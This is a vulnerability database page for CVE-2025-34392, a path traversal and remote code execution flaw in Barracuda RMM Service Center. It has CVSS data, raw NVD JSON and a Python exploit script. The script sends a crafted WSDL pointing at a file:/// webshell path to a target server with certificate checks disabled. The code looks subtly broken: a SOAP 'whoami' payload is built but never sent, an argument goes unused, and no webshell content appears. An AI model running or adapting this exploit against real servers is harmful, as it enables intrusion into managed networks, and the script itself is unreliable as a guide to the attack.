Security Vulnerability Report
中文
CVE-2025-34392 CVSS 9.8 CRITICAL

CVE-2025-34392

Published: 2025-12-10 16:16:24
Last Modified: 2025-12-23 14:40:41

Description

Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, does not verify the URL defined in an attacker-controlled WSDL that is later loaded by the application. This can lead to arbitrary file write and remote code execution via webshell upload.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:* - VULNERABLE
Barracuda Service Center (RMM) < 2025.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-34392 PoC - Barracuda RMM Service Center WSDL Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import xml.etree.ElementTree as ET from requests.auth import HTTPBasicAuth TARGET_URL = "https://target-server:8443/servicecenter" WSDL_ENDPOINT = f"{TARGET_URL}/services/ServiceCenter?wsdl" def create_malicious_wsdl(file_path, target_location): """Generate malicious WSDL with local file path reference""" wsdl_template = f'''<?xml version="1.0" encoding="UTF-8"?> <definitions name="MaliciousService" targetNamespace="http://malicious.example.com/" xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:tns="http://malicious.example.com/"> <types> <xsd:schema targetNamespace="http://malicious.example.com/" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:element name="ExecuteCommand"> <xsd:complexType> <xsd:sequence> <xsd:element name="cmd" type="xsd:string"/> </xsd:sequence> </xsd:complexType> </xsd:element> </xsd:schema> </types> <service name="MaliciousService"> <port name="MaliciousPort" binding="tns:MaliciousBinding"> <soap:address location="{target_location}"/> </port> </service> <binding name="MaliciousBinding" type="tns:MaliciousPortType"> <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="Execute"> <soap:operation soapAction="execute"/> <input><soap:body use="literal"/></input> <output><soap:body use="literal"/></output> </operation> </binding> <portType name="MaliciousPortType"> <operation name="Execute"> <input message="tns:ExecuteInput"/> <output message="tns:ExecuteOutput"/> </operation> </portType> <message name="ExecuteInput"> <part name="parameters" element="tns:ExecuteCommand"/> </message> <message name="ExecuteOutput"> <part name="parameters" element="tns:ExecuteResponse"/> </message> </definitions>''' return wsdl_template def exploit(target_url, webshell_path): """Execute the exploit by sending malicious WSDL""" # Target location for file write (adjust based on target) target_location = f"file:///{webshell_path}" malicious_wsdl = create_malicious_wsdl(None, target_location) headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""' } # Payload to write webshell soap_payload = f'''<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ExecuteCommand> <cmd>whoami</cmd> </ExecuteCommand> </soap:Body> </soap:Envelope>''' print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious WSDL to trigger file write...") try: response = requests.post( WSDL_ENDPOINT, data=malicious_wsdl, headers=headers, verify=False, timeout=30 ) print(f"[+] Response Status: {response.status_code}") print(f"[*] If successful, webshell may be written to: {webshell_path}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-34392 - Barracuda RMM Service Center Exploit") print("Usage: python exploit.py") # exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34392", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:24.153", "lastModified": "2025-12-23T14:40:40.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, does not verify the URL defined in an attacker-controlled WSDL that is later loaded by the application. This can lead to arbitrary file write and remote code execution via webshell upload."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-36"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.1.1", "matchCriteriaId": "C6E07E55-A5C9-4B12-8CC2-891D3F8F087D"}]}]}], "references": [{"url": "https://download.mw-rmm.barracudamsp.com/PDF/2025.1.1/RN_BRMM_2025.1.1_EN.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.barracuda.com/products/msp/network-protection/rmm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/barracuda-rmm-service-center-absolute-path-traversal-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}